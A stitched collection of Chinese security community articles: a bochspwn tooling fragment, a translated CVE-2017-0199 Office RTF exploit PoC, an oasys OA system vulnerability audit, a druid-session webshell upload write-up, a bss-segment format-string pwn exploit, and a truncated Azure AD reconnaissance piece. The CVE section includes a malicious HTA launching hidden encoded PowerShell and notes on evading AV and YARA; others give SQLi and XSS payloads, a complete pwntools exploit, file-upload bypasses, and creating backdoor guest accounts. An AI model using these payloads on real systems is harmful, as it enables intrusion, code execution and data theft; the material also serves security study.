module中core_layout和init_layout有什么区别)。
修改bochspwn中的config.txt，增加一项ubuntu_server_64_4.15.0-47-generic。
通过查看源码可以发现task_comm_len和module_name_len都没有变。
使用virtualbox自带的工具将硬盘格式由VDI格式转换成RAW格式。
根据原来的文档bochspwn应该包含一个bochsrc.txt，但是我却并没有找到。从bochs-2.6.9的安装目录C:\Program Files
(x86)\Bochs-2.6.9中找到bochsrc-sample.txt复制过来，重命名为bochsrc.txt。在这个文件中指定我们转换的raw文件的路径。
我们还可以根据情况调整使用的内存。
现在终于可以用bochs运行我们的虚拟机了，把我们在linux上交叉编译出来的bochs.exe拷贝到bochspwn目录下，如下图所示设置并运行。
出现了一个小错误，注释掉bochsrc.txt这一行即可。
成功启动之后运行trinity，我们应该能够得到memlog.bin和modules.bin。之后可以使用类似下面的命令编译tools目录下的工具进行进一步分析。
## bochspwn原理
在bochspwn下有三个含有代码的目录：instrumentation，third_party和tools。因为在泉哥的一篇博客中有较为详细的分析[1]，这里只简单分析tools目录下的代码。
* separate.cc：将日志文件分成更小的部分以便处理
* doubleread.cc：找到日志文件中double fetch的逻辑
在doubleread.cc中有两个重要的STL成员。map类型的memory_accesses[key] = {acc1, acc2,
...}中key是被访问的地址，{acc1, acc2,
...}是对应的log_data_st。如果对于一个key来说memory_accesses[key].size() >
1说明这个地址被访问了不止一次，就有可能存在double
fetch漏洞。vector类型的access_structs存储所有memory_accesses中的log_data_st(不重复)。
在分析日志的过程中，如果该地址的访问类型是write，检查是不是ProbeForWrite函数，如果是则从对应的memory_accesses[key]和access_structs中删除最后一个元素。
如果该地址的访问类型是read，首先将log_data_st加入access_structs。在log_data_st结构中，lin表示被访问的地址，len表示被访问的长度，repeated表示从lin开始的连续内存地址已经被访问了多少个len。所以len*repeated表示访问内存区域的总大小。对于repeated>1的访问要把log_data_st加到所有对应的memory_accesses[key]中。
memory_accesses[key].size() > 1，进入到处理double fetch逻辑的函数。
* win32_symbolize.cc\win32_symbolize.py\linux_symbolize.py：给日志文件添加符号信息以方便阅读并确定漏洞
* print.cc：日志文件打印
* no_cidll.c：windows操作系统上的CI.dll可能导致假阳性，在使用doubleread.cc之前可以先使用no_cidll.c过滤一遍来解决这个问题
* stat.c：统计日志文件中有多少次读/写和读/写内存大小等信息
* unhandled_access.cc：找到日志文件中unhandled access的逻辑(访问用户态内存时没有设置异常处理)。比如说下面的代码如果没有try/except的话，可能就会导致本地DOS。
在Windows x86中，异常处理程序链接在SEH中(从fs:[0]开始)，其中每个异常处理程序由以下结构描述。
_EH3_EXCEPTION_REGISTRATION驻留在它们相应函数的栈帧中，并在这些函数的开头用__SEH_prolog4(_GS)例程初始化。
稍后，try{}块的开头通过将其基于0的索引写入TryLevel字段来表示，然后在关闭块并禁用异常处理时用-2(0xFFFFFFFE)覆盖它们。下面是一个try/except块的示例，它将单个DWORD值写入用户态内存。
任何用户态内存访问时的整个调用栈看起来类似于下面这样。
Bochs插桩可以遍历SEH链，确定启用哪些处理程序以及它们对应的函数。如果不存在异常记录，或者所有异常记录的TryLevel字段都设置为0xFFFFFFFE，那么此时发生的异常可能会导致操作系统崩溃。
(这部分在原理在j00ru的后续博客中有提到[3])
* count_callstack_depth.cc：计算调用栈深度
* count_excp_handlers.cc：计算异常处理栈深度
* common.cc\common.h：提供一些通用的函数
## 参考资料
1.[Bochspwn漏洞挖掘技术深究(1)：Double Fetches
检测](http://riusksk.me/2018/12/01/bochspwn1/ "Bochspwn漏洞挖掘技术深究\(1\)：Double
Fetches 检测")
2.[Bochspwn: Identifying 0-days via system-wide memory access pattern
analysis](https://j00ru.vexillium.org/slides/2013/bhusa.pdf "Bochspwn:
Identifying 0-days via system-wide memory access pattern analysis")
3.[Windows Kernel Local Denial-of-Service #1: win32k!NtUserThunkedMenuItemInfo
(Windows 7-10)](https://j00ru.vexillium.org/2017/02/windows-kernel-local-denial-of-service-1/ "Windows Kernel Local Denial-of-Service #1:
win32k!NtUserThunkedMenuItemInfo \(Windows 7-10\)") | 社区文章 |
# 【技术分享】CVE-2017-0199：Microsoft Office RTF 漏洞利用 PoC
|
##### 译文声明
本文是翻译文章，文章来源：Stbird@MottoIN
原文地址：<http://www.mottoin.com/100776.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x01 介绍**
自FireFye检测并发布[CVE-2017-0199](https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html)以来，我一直在研究这个漏洞，在微软正式发布补丁后，我决定发布这个PoC。我的利用方式可能与其他研究人员的利用方法不同，这个利用方法可能会更轻松一点。
CVE-2017-0199：当用户打开包含嵌入式漏洞的文档时，winword.exe会向远程服务器发出HTTP请求，以检索恶意HTA文件，服务器返回的文件时一个带有嵌入式恶意脚本的假RTF文件，winword.exe通过COM对象查找application/hta的文件处理程序，这会导致Microsoft
HTA应用程序（mshta.exe）加载并执行恶意脚本。
**0x02 技术背景**
我们可以将OLEv2链接包含在现有文档中。 这些对象将反映加载到文档中的源链接中的当前内容。
令人惊奇的是，如果尝试将HTA链接包含为OLEv2对象，那么它将被执行一次（在创建时），但Winword将返回一个错误，如：
在这种情况下的问题是HTA文件不会被持久化（如果你将其链接到文件+创建图标，那么它可能可以做到持久化，但是我们想要它隐藏并自动运行）。
我开始通过思考如何处理不是恶意的OLE对象链接到远程RTF文件…为了实现在“proper”Microsoft
Office中的预期方式，我一点点修改在Apache中服务我的文件的内容类型和DAV模块…（这将在下一章讨论）。
从那里开始，我会有一个有效的嵌入对象链接，在每次自动更新后都打开我的文档！
下一步，在HTA中用我的有效载荷修改来源的文档！
在这种情况下，我能够：
为真正的RTF文件创建一个动态OLEv2对象链接
使用我的有效载荷修改源的RTF
如果想创建一个直接链接到HTA文档，请绕过所产生的错误
**0x03 技术细节**
**步骤1**
准备一个HTA文件：（HTA文件是可以运行JScript和VBscript的HTML应用程序）
我们创建一个“ms.hta”文件：
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>Bonjour</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..powershell.exe") Then
owFrClN0giJ.Run "powershell.exe -nop -w hidden -e ENCODED_B64_SHELL"
End If
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</hta:application>
</head>
<div>
<object type="text/html" data="http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">
</object></div>
<body>
</body>
</html>
**步骤2**
使用任意随机内容在Winword中创建一个简单的RTF文档。（在例子中，我使用字符串来作为我的内容）
命名为“ms.rtf”。
**步骤3**
将这2个文件发送到被我们完全控制的网络服务器上。我们假定它将被存储在/var/www/html中。
现在我们必须配置Apache才能将ms.rtf作为一个链接。配置Apache：
a2enmod dav
a2enmod dav_fs
a2enmod dav_lock
a2enmod headers
service apache2 restart
以下命令将会：
将“Content-Type application/rtf”添加到/ms中的所有文件中
允许Microsoft Office执行的PROPFIND请求
Modify virtualhost and include:
<Directory /var/www/html/ms/>
Header set Content-Type "application/rtf"
</Directory>
<Directory />
Dav on
</Directory>
service apache2 restart
**步骤4**
使用Winword的“ exploit.rtf ” 创建一个简单的RTF文档，这将是我们的exploit！
插入 – >对象
CVE-2017-0199创建OLEv2外部链接
单击确定后，我们将获得只包含随机字符串内容的“ms.rtf”文件。将该文件保存为“ exploit.rtf ”。
CVE-2017-0199创建Olev2链接对象
在这一步我们可以关闭Winword，并转到下一步改变ms.rtf的内容与HTA有效载荷…
**步骤5**
以下步骤将：
更改自定义HTA有效载荷中包含的ms.rtf
Web服务器将发送“application/hta”的内容类型…这将由Winword客户端解析，它将运行mshta来处理这个内容类型并执行我们的有效载荷
cat /var/www/html/ms/ms.hta > /var/www/html/ms.rtf
vi /etc/apache2/sites-enables/000-default
Change -> application/rtf to application/hta
like:
<Directory /var/www/html/ms/>
Header set Content-Type "application/hta"
</Directory>
service apache2 restart
**步骤6**
在这一步，如果用户打开“exploit.rtf”文件了，他必须要双击链接对象来启动攻击…
如果我们希望在文档开头时自动加载OLE对象，我们必须编辑更改exploit.rtf文件：
到
objectobjautlinkobjupdatersltpict……………………..
在这个步骤中，我们成功的构建了exploit。
Exploitation:一旦用户打开文档，由于服务器提供的application/hta content-type执行ms.hta，OLE对象将通过链接来更新。这样会得到执行代码的结果。
我们可以不用关心警告了，因为代码已经执行了。
CVE-2017-0199被成功利用了， 执行后发出警告
**使用当前AV/published YARA规则**
从我的个人测试来看，这种方法似乎没有被AV捕获（Defender已经有CVE-2017-0199的签名），此外，目前发布的yara规则与此漏洞利用率不匹配。
rule rtf_objdata_urlmoniker_http {
strings:
$header = "{\rtf1"
$objdata = "objdata 0105000002000000" nocase
$urlmoniker = "E0C9EA79F9BACE118C8200AA004BA90B" nocase
$http = "68007400740070003a002f002f00" nocase
condition:
$header at 0 and $objdata and $urlmoniker and $http
}
确实，urlmoniker不匹配，这将永远不会触发这个yara规则。
**0x04 参考**
****
<https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html>
<https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/>
<https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/> | 社区文章 |
# 项目简介:
oasys是一个OA办公自动化系统，使用Maven进行项目管理，基于springboot框架开发的项目，mysql底层数据库，前端采用freemarker模板引擎，Bootstrap作为前端UI框架，集成了jpa、mybatis等框架。
源码可以访问链接下载：<https://gitee.com/aaluoxiang/oa_system?_from=gitee_search>
# 环境搭建：
环境搭建没有什么特别的，数据库创建oasys的数据库后导入oasys.sql，然后在application.properties文件中配置数据库地址就可以了。
# 漏洞挖掘：
## SQL注入（通知列表）
首先拿到代码后看一下依赖，发现项目中使用了mybatis，然后在映射文件看一下有没有用${}的：可以看到，下面的接口使用了${}字符串拼接。
接下来在控制器中搜索一下看哪个控制器使用了该接口，最终在通知列表处找到一次使用：
### 漏洞复现：
通过构造paylaod，成功实现sql注入。
## SQL注入（通讯录）
这个注入和上面一样，同样因为使用${}进行字符串拼接。
映射文件如下：
控制器代码如下：
### 漏洞复现：
构造请求如下：
## 存储XSS（部门管理）
漏洞位于部门管理->添加部门处：
### 代码查看：
可以看到没有进行任何过滤直接调用deptdao.save将数据存入数据库。
## 存储XSS（用户管理）
用户管理->编辑用户处存在存储XSS。
可以看到同样没有任何过滤就直接存入数据库,说明XSS漏洞在全站存在多处。
### 代码分析：
## 越权漏洞
漏洞位于流程管理->我的申请->查看流程处：
可以看到URL中有个id参数，猜测该参数为流程id标识，看一下后端代码：
这里只放上部分关键代码，可以看到首先获取了当前用户对象，然后根据URL中的ID参数获取了流程对象，并且对比userID判断是申请人还是审批人。可以看出并没有对其他用户越权访问进行处理。
使用另外一个低权限账号登录系统，首先查看流程列表：
可以看到没有任何流程，接下来使用该用户cookie来调用查看流程的接口来枚举流程：
使用另外一个低权限账号登录系统，首先查看流程列表：
可以看到没有任何流程，接下来使用该用户cookie来调用查看流程的接口来枚举流程：
可以看到枚举出很多流程，证明越权确实存在。
## 任意文件读取
漏洞文件位于：src/main/java/cn/gson/oasys/controller/user/UserpanelController.java
src/main/java/cn/gson/oasys/controller/process/ProcedureController.java
两个文件都存在该漏洞，原理一致，这里拿第一个来说明。
在该控制器的image方法，存在任意文件读取漏洞，代码如下：
可以看到代码中首先通过getRequestURI方法当前访问的相对路径，然后将该路径中的iamge替换为空。接下来与rootpath拼接然后通过File打开文件后返回前端。
通过替换”/image”的操作，我们可以构造…/来造成目录穿越从而进行任意文件读取，BP请求如下：通过替换”/image”的操作，我们可以构造…/来造成目录穿越从而进行任意文件读取，BP请求如下：
## 前台sql注入
src/main/java/cn/gson/oasys/controller/inform/InformController.java 68行
有一个informlistpaging方法
在该方法中定义了一个字符串请求参数basekey，用list集合接收了sortMyNotice方法处理basekey等参数的结果，跟进查看哪里定义了nm
跟进NoticeMapper
转到mapper层
在此数据持久层搜索调用到的selectid
在like后面直接用${%%}进行模糊查询，导致了漏洞的产生
### 漏洞验证
根据controller的路由构造url：
sqlmap.py -r D:\test.txt
sqlmap.py -r D:\test.txt --random-agent --dbs --current-db
创建一个普通职工账号 test test
大致浏览pom.xml代码时发现了mybatis，mybatis中存在${}SQL注入，全局搜索${},发现在/src/main/resources/mappers/address-mapper.xml和/src/main/resources/mappers/notice-mapper.xml中存在${}
接下来就去看那个地方对该参数进行了调用,往上跟踪cn.gson.oasys.mappers.NoticeMapper接口——>sortMyNotice追踪到/src/main/java/cn/gson/oasys/controller/inform/InformController.java的如下代码中
可以看到baseKey是可控的，直接从前端传入，下面给的有url,然后直接访问就行
<http://localhost:8089/informlistpaging?baseKey=1>
报错注入
通过构造payload可以使用报错注入的方式在控制台处得到返回的报错信息
Payload
<http://localhost:8089/informlistpaging?baseKey=1>' and (select
extractvalue(“0x7e”,concat(‘~’,(select user())))a) and ‘1’=’1
## 时间盲注
同样可以构造时间盲注的payload
<http://localhost:8089/informlistpaging?baseKey=1>' and (select *
from(select(sleep(2)))a) and ‘1’=’1%23
## XSS(笔记处)
在测试功能点时发现在写笔记时将标题名可直接写为XSS恶意代码
代码中并未对该处输入坐任何限制，在存储时也是直接将得到的Title存储.
## SQL注入
在resources\mappers中，发现了mapper文件，在第16行用了$拼接，那么会造成SQL注入，但前提是看一下pinyin这个参数是不是可控。
那就一步步往上跟：
cn.gson.oasys.mappers.AddressMapper接口------>allDirector方法直接全局搜索，定位到Controller中
进入到AddrController中outAddress方法，可以确定在Mapper中pinyin这个参数是可以被利用的。既然是RequestMapping，不用再去找页面中摸索功能点了。那么直接进行get方式访问。
### 构造请求
直接一手sqlmap跑出来。
## 文件管理-新建文件夹存在XSS漏洞
访问上述功能，点击新建文件夹，输入文件夹名为XSS验证语句<img src=1 onerror=alert(1) />，如下图所示：
成功实现弹框。
## CSRF漏洞挖掘
对于CSRF漏洞基础概念不熟悉的小伙伴，可回顾学习WEB安全原创入门学习课程下的第 2.2 课 --- CSRF漏洞基础入门。
学习链接：<https://t.zsxq.com/EieMBuj>
本系统也存在多处CSRF漏洞，举例说明。
①、访问用户面板功能，点击写便签，输入任意内容。
②、打开BurpSuite，并打开浏览器代理，指向BurpSuite。BurpSuite打开Intercept is on进行拦截。
③、然后点击保存便签，BurpSuite拦截输入包如下图所示：、
### 代码分析：
获取到输入的内容之后，没有做任何限制。
这是 Java Web 应用程序中用于保存“便签纸”对象的方法。它似乎正在使用 Spring MVC，因为它具有基于注释的请求映射和会话属性。
该方法接受三个参数：
● Notepaper npaper：这是一个代表便条纸的对象。它具有各种字段，例如标题、内容和用户 ID。
● @SessionAttribute("userId") Long userId：这是一个保存用户 ID 的会话属性。它带有
注释@SessionAttribute，这意味着它将由 Spring MVC 框架从用户的会话中自动检索。
● @RequestParam(value="concent",required=false)String
concent：这是一个名为“concent”的请求参数。它被注释为@RequestParam，这意味着它将由 Spring MVC
框架从请求中自动检索。该required=false属性表明该参数是可选的。
该方法执行以下操作：
1. 它从会话属性中检索与用户 ID 关联的用户对象。
2. 它将便条对象的创建时间设置为当前日期。
3. 它将 notepaper 对象的用户 ID 设置为在步骤 1 中检索到的用户对象。
4. 如果它为 null 或为空，它将便条对象的标题设置为“无标题”（中文意思是“无标题”）。
5. 如果“concent”请求参数为 null 或为空，它将 notepaper 对象的内容设置为该值。
6. 它使用对象保存便条纸对象ndao，该对象可能是某种数据访问对象。
7. 它向客户端返回“重定向”响应，将客户端定向到“/userpanel”URL。这将导致客户端浏览器向“/userpanel”URL 发出新请求。
## 越权删除
从渗透测试黑盒角度测试，我们发现了日程管理处存在越权删除漏洞。现在我们从代码角度看看问题出在了哪里。
通过日程删URL中的dayremove，可以定位到日程删除位于src\main\java\cn\gson\oasys\controller\daymanage\DaymanageController.java，第204-211行，如下图所示：
单从上面几行代码来看，仅是查询rcid参数后，进行了删除。我们进一步追下流程。
①、从上面可以看到，使用了daydao.findOne(rcid)，来操作rcid，查看daydao发现来自DaymanageDao，如下图所示：
②、进入DaymanageDao，发现并没有findOne，发现DayManageDao继承了JpaRepository，而进入JpaRepository之后也未发现findOne，但发现它继承了QueryByExampleExecutor，而findOne就在这里面，如下图所示：此时大家应该发现JpaRepository和QueryByExampleExecutor代码属于引入依赖的代码了，这两个代码来源自Spring
Data，其中findOne是其中一个方法，具体意思如下
就是说：
● findOne返回一个Optional对象，可以实现动态查询；而Optional代表一个可能存在也可能不存在的值。
此时总结上面流程，简单说，日程删除功能先使用findOne去查询rcid是否存在该值。
然后再使用daydao.delete(rc)进行删除，此时我们追踪一下这个方法，发现这个delete方法也就是Spring Data
CrudRepository中的delete（删除）方法，如下图所示：
最后，我们回顾整个流程，也就是说查询了rcid的值，然后进行删除。整个流程没有任何权限的验证，因此导致了越权的操作。
REF:
<http://myblog.ac.cn/archives/2022-08-10-10-53-26>
<https://m.freebuf.com/articles/web/320441.html>
<https://blog.csdn.net/qq_44029310/article/details/125119709> | 社区文章 |
### 前言
网站有注册功能，但是需要邀请码。尝试爆破弱口令，发现需要插入 KEY 才能登录。
通过扫目录发现 druid 未授权访问，通过 URL 监控发现文件上传的接口，但是需要登录。
通过爆破 Session 发现可用的Session。
直接上传 jsp jspx 提示非法，随意输入 1.xxx 发现可以上传，说明是 任意文件上传 只是对 jsp 做了黑名单处理，然后通过 Windwos
特性成功绕过得到 Webshell。
### 经过
通过目录扫描发现 Druid
通过访问 URI 监控发现文件上传接口
发现存在 Session，利用工具把 Session 保存下来
<https://github.com/yuyan-sec/druid_sessions>
找个需要登录的链接爆破 Session，这是失效的 session
这是可以利用的 session
文件上传需要登录，所以需要上面的 session。
尝试上传 jsp 提示非法
随意输入一些后缀名，发现可以成功上传，说明是任意文件上传
通过 windows 特性 `1.jsp::$DATA`成功上传 webshell。
> 未经允许禁止转载！！！ | 社区文章 |
# 非栈上格式化字符串漏洞利用技巧
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
关于Linux栈上格式化字符串漏洞的利用网上已经有许多讲解了，但是非栈上的格式化字符串漏洞很少有人介绍。这里主要以上周末SUCTF比赛中playfmt题目为例，详细介绍一下bss段上或堆上的格式化字符串利用技巧。
## 0x01基础知识点
格式化字符串漏洞的具体原理就不再详细叙述，这里主要简单介绍一下格式化参数位置的计算和漏洞利用时常用的格式字符。
### 参数位置计算
linux下32位程序是栈传参，从左到右参数顺序为`$esp+4,$esp+8,...`；因此`$esp+x`的位置应该是格式化第`x/4`个参数。
linux下64位程序是寄存器加栈传参，从左到右参数顺序为`$rdi,$rsi,$rdx,$rcx,$r8,$r9,$rsp+8,...`；因此`$rsp+x`的位置应该是格式化第`x/8+6`个参数。
### 常用的格式化字符
用于地址泄露的格式化字符有：`%x、%s、%p`等；
用于地址写的格式化字符：`%hhn`（写入一字节），`%hn`（写入两字节），`%n`（32位写四字节，64位写8字节）；
`%< number>$type`：直接作用第number个位置的参数，如：`%7$x`读第7个位置参数值，`%7$n`对第7个参数位置进行写。
`%<number>c`：输出number个字符，配合`%n`进行任意地址写，例如`"%{}c%{}$hhn".format(address,offset)`就是向`offset0`参数指向的地址最低位写成`address`。
## 0x02非栈上格式化字符串漏洞利用
一般来说，栈上的格式化字符串漏洞利用步骤是先泄露地址，包括ELF程序地址和libc地址；然后将需要改写的GOT表地址直接传到栈上，同时利用`%c%n`的方法改写入`system或one_gadget`地址，最后就是劫持流程。但是对于BSS段或是堆上格式化字符串，无法直接将想要改写的地址指针放置在栈上，也就没办法实现任意地址写。下面以SUCTF中playfmt为例，介绍一下常用的非栈上格式化字符串漏洞的利用方法。
### 例题
#### 题目说明
程序漏洞点比较明显，直接写了一个循环的`printf`格式化漏洞，而输入的数据是存储在`buf`指针上，`buf`则是位于bss段中地址为`0x0804B040`。
int do_fmt(void)
{
int result; // eax
while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}
.bss:0804B040 public buf
.bss:0804B040 ; char buf[200]
.bss:0804B040 buf db 0C8h dup(?) ; DATA XREF: do_fmt(void)+E↑o
查看一下程序的保护，可以发现开启了RELRO，也就是无法改写GOT表，所以思路就是直接修改栈上的返回地址，`return`的时候劫持流程。
#### 泄漏地址
首先需要得到当前栈的地址和`libc`的基地址，这些地址可以很轻松的在栈上找到，其中`esp+0x18`存放了栈地址，`esp+0x20`存放了`libc`的地址，可以得到分别是第6个参数和第8个参数，直接传入`%6$p%8$p`即可得到栈地址和`libc`地址。
#### 任意地址写
这里主要需要解决的就是如何将要改写的地址放在栈上。实现任意地址写需要依赖栈上存在一个链式结构，如`0xffb5c308->0xffb5c328->0xffb5c358`，这三个地址都在栈上。
下图是一个简单的栈地址空间图，`offset`表示格式化的参数位置。通过第`offset0`个参数，利用`%hhn`可以控制`address1`的最低位，再通过第`offset1`个参数，利用`%hhn`可以写`address2`的最低位；然后通过`offset0`参数，利用`%hhn`修改`address1`的最低位为`原始值+1`，再通过`offset1`参数，利用`%hhn`可以写`address2`的次低位；依次循环即可完全控制`address2`的值，再次利用`address1和address2`的链式结构，即可实现对`address2`地址空间的任意写。对应到上面显示的地址空间，`address0=0xffb5c308,offset0=0x18/4=6;address1=0xffb5c328,offset1=0x38/4=14;address2=0xffb5c358,offset2=0x68/4=26;`
下面是地址写代码的实现，首先获取`address1`的最低位的原始值，然后依次写`address2`的各个字节。
def write_address(off0,off1,target_addr):
io.sendline("%{}$p".format(off1))
io.recvuntil("0x")
addr1 = int(io.recv(8),16)&0xff
io.recv()
for i in range(4):
io.sendline("%{}c%{}$hhn".format(addr1+i,off0))
io.recv()
io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
io.recv()
target_addr=target_addr>>8
io.sendline("%{}c%{}$hhn".format(addr1,off0))
io.recv()
效果图如下，可以看到`esp+0x68`的位置已经是栈上返回地址的存放位置（这是另一次的运行截图，栈地址有所变化）。
再次运行`write_address`将`0xfff566cc`写上`one_gadget`地址（libc.address+ 0x5f065）。
最后输入`quit`退出循环，执行`return result`时就能获取shell。
### EXP
# coding=utf-8
from pwn import *
#io = remote('120.78.192.35', 9999)
io = process("./playfmt")
elf = ELF('./playfmt')
libc = ELF('/lib32/libc-2.23.so')
#context.log_level = 'DEBUG'
#gdb.attach(io,"b *0x0804889f")
io.recv()
io.sendline("%6$p%8$p")
io.recvuntil("0x")
stack_addr = int(io.recv(8),16)-0xffffd648+0xffffd610
io.recvuntil("0x")
libc.address = int(io.recv(8),16)-0xf7e41000+0xf7c91000
log.success("stack_addr:"+hex(stack_addr))
log.success("libc_addr:"+hex(libc.address))
io.recv()
offset0=0x18/4
offset1=0x38/4
offset2=0x68/4
def write_address(off0,off1,target_addr):
io.sendline("%{}$p".format(off1))
io.recvuntil("0x")
addr1 = int(io.recv(8),16)&0xff
io.recv()
for i in range(4):
io.sendline("%{}c%{}$hhn".format(addr1+i,off0))
io.recv()
io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
io.recv()
target_addr=target_addr>>8
io.sendline("%{}c%{}$hhn".format(addr1,off0))
io.recv()
one_gadget = libc.address+ 0x5f065
print(hex(one_gadget))
write_address(offset0,offset1,stack_addr+0x1c)
#gdb.attach(io,"b *0x0804889f")
write_address(offset1,offset2,one_gadget)
io.sendline("quit")
io.interactive()
## 0x03总结思考
这里简单总结一下上述漏洞利用的使用条件：
首先是需要一个循环触发格式化字符串漏洞的条件，上述的例题中直接存在循环触发漏洞的情况，如果实际情况只能单次触发，可以尝试能否劫持`__libc_csu_fini/malloc/free等`函数造成循环触发漏洞；
然后就是需要栈上存在单链表结构，64位程序需要三个节点地址，32位程序可能只需要两个节点（本地测试32位的地址可以通过%n一次性写入）；
最后需要在循环触发漏洞的期间，栈上使用到的地址空间不被破坏。 | 社区文章 |
# 如何利用Azure获取活动目录信息
|
##### 译文声明
本文是翻译文章，文章来源：blackhillsinfosec.com
原文地址：<https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Microsoft现在无处不在，包括各种技术、服务、集成环境、应用以及配置等，在这种情况下，想做好管理并不是一件容易的事。现在想象一下，我们如果要管理远超自己能力范围的一个环境是多么困难的一件事。当我们把一切都迁移到云端时，可以在可扩展性、功能性甚至成本方面来带极大的好处，一定程度上也能达到隐蔽自身的目的。在过去一年中，我一直在研究如何攻击依托Microsoft作为云服务商的那些单位。我希望开发出各种技术，能够挖掘这些隐蔽节点，就像之前我与Beau
Bullock（@dafthack）对[Google](https://www.youtube.com/watch?v=ddoGGxt0vVk)所做的研究一样。
实话实说，我并没有对微软了如指掌。相反，当我对这方面产品及服务了解更多后，我也越来越感受到自己的不足。虽然在过去一年中，我已经可以熟练掌握和改进相关技术，从红队的角度更好地攻击目标，但我仍然努力尝试去理解各种不同的概念。比如默认的配置是什么、配置的同步机制如何、如果在云端做了些修改，这些修改是否最终会影响目标内部网络等等。当我私下分享这些技术时，总会不可避免地出现另一个问题。虽然我也认为在没有解决方案的情况下抛出问题某种程度上有点不负责任，但有时候解决方案并非非黑即白。我的建议是我们需要全面了解自己所使用的环境以及技术，如有需要可以直接联系服务提供商彻底澄清这些信息。
## 二、应用场景
举个应用场景，多年来我们一直本地环境中部署了微软Active Directory（活动目录）以及Exchange服务，但想为雇员快速部署Microsoft
Office服务，同时为雇员提供webmail入口、Sharepoint以及某些内部应用的SSO（单点登录）接口。此时我们决定迁移至Office
365，一切都非常顺利，所有的用户都可以使用自己的网络凭据进行认证，邮箱也正常工作。这种情况下，你是否认为自己仍处于本地环境中，亦或处于并不安全的云环境中？也许迁移过程中我们混合使用了的各种方法，同时处于这两种状态下。Microsoft的确提供了他们支持的大量集成技术，但我们如何知道自己是否可以正确管理所有对象？
## 三、复杂环境
如果想在本地管理用户，可以使用传统的Microsoft AD方案；想在云服务管理用户，可以使用Azure
AD方案；在邮件方面，本地端可以使用Exchange服务，但也可以将邮件迁移至Exchange Online；如果想使用全套Microsoft
Office产品，可以选择Office 365，但我觉得这些方案最终都用到了Exchange
Online，因此从技术方面来看，用户可以同时使用这些方案，但只支付一种产品的费用。购买了Office 365
Business后，用户还可以享受其他各种服务，比如Skype以及OneDrive（虽然公司文件共享使用的是GDrive或者Box）。用户引入了多因素认证解决方案，选择SMS令牌作为默认的验证机制，但由于某些原因，用户仍然可以绕过MFA（多因素认证）来使用Outlook（这主要归功于Microsoft
EWS）。总体而言，一切都工作正常，感谢微软提供的集成服务，比如Azure AD Connect，或者是Azure AD Synchronization
Services，亦或是有些年头的DirSync搭配Forefront Identity
Manager解决方案……不论如何，整个环境仍在正常运转，这样就足够了。
**那么问题到底出在哪里？**
刚才描述的那种复杂场景中存在各种问题，很少有蓝队可以准确防御或者响应各种不同的攻击场景：比如远程转储活动目录、绕过甚至劫持用户的多因素认证机制等。
在侦察阶段，想澄清目标单位内的人员信息情况通常借助的是LinkedIn或者其他OSINT技术等第三方服务。如果我们处在内部网络，那么获取这些信息至关重要，因为我们需要深入了解该单位的细节信息，比如目标配置了多少个组、这些组具体包含哪些成员等。如果能访问相关主机、根据用户的访问行为来确认目标对象，那么这个任务可以轻松完成。然而如果我们还没进入内部网络，尚需澄清哪些是目标对象呢？更进一步，如果目标对象托管在云端，我们完全没有接触到内部网络，此时应该怎么办？
对于Microsoft，如果我们使用了任何云服务（Office 365、Exchange Online等）以及Active
Directory（本地或者Azure环境），那么感谢Azure AD的大力支持，攻击者只需一个凭据就能获取整个Active
Directory结构信息。具体步骤如下：
1、通过webmail接口（如`https://webmail.domain.com/`）的认证；
2、将浏览器URL地址更改为：`https://azure.microsoft.com`；
3、从当前活跃的会话中选择一个账户；
4、选择Azure Active Directory，享受胜利果实。
这样会造成很多不好的后果。比如如果我们能导出所有的用户以及组信息，我们就有可能澄清员工以及所属组情况。我们同样可以知道哪些组可以登录VPN、域管是谁、谁有数据库访问权限、哪些是云服务器、财务数据在哪等等。Azure
AD还有另一个好处，它会保存每个用户的设备信息，所以我们可以看到用户使用的是Mac、Windows主机还是iPhone，也能看到具体的版本号（比如Windows
10.0.16299.0）。如果这些信息还不够，我们还能了解用户终端所搭载的商务应用、SPN（service principal
name）信息、其他域名，甚至还包括用户可能具备访问权限的虚拟资源（比如虚拟机、网络、数据库等）。
**还有更多！**
以普通用户登陆Azure入口还有另一个好处，那就是我们可以创建后门……额，其实我说的是“Guest”（访客）账户，非常方便，具体步骤如下：
1、点击“Azure Active Directory”；
2、点击Manage下的“Users”选项；
3、点击“New Guest User”，然后邀请自己即可。
根据具体配置，这种操作有可能会同步回目标内部网络中。事实上虽然默认情况下可以创建访客账户，但我只碰到过有个客户符合这种情况，当时他们的Azure AD
Connect双向同步，访客账户可以进行身份认证、在内部注册多因素设备以及VPN权限。我们需要注意这个配置组件，因为它可能会带来不好的影响。
## 四、对红队的意义
### 可用工具
通过Web浏览器访问Azure门户入口的确非常有用，具有很多优点，但我还需要找到另一个方法来直接导出信息。之前我写过一个工具，可以自动化进行身份认证，但操作起来比较麻烦。微软本身集成了许多强大的技术，可以帮我解决这个问题。我找到了许多解决方案，比如：
**Azure CLI（AZ CLI）**
作为一名Linux用户，我更偏向于使用[AZ CLI](https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest)，一方面是因为我习惯在一行命令中尽可能多的输入数据，另一方面也是因为我经常使用.NET工具。使用AZ
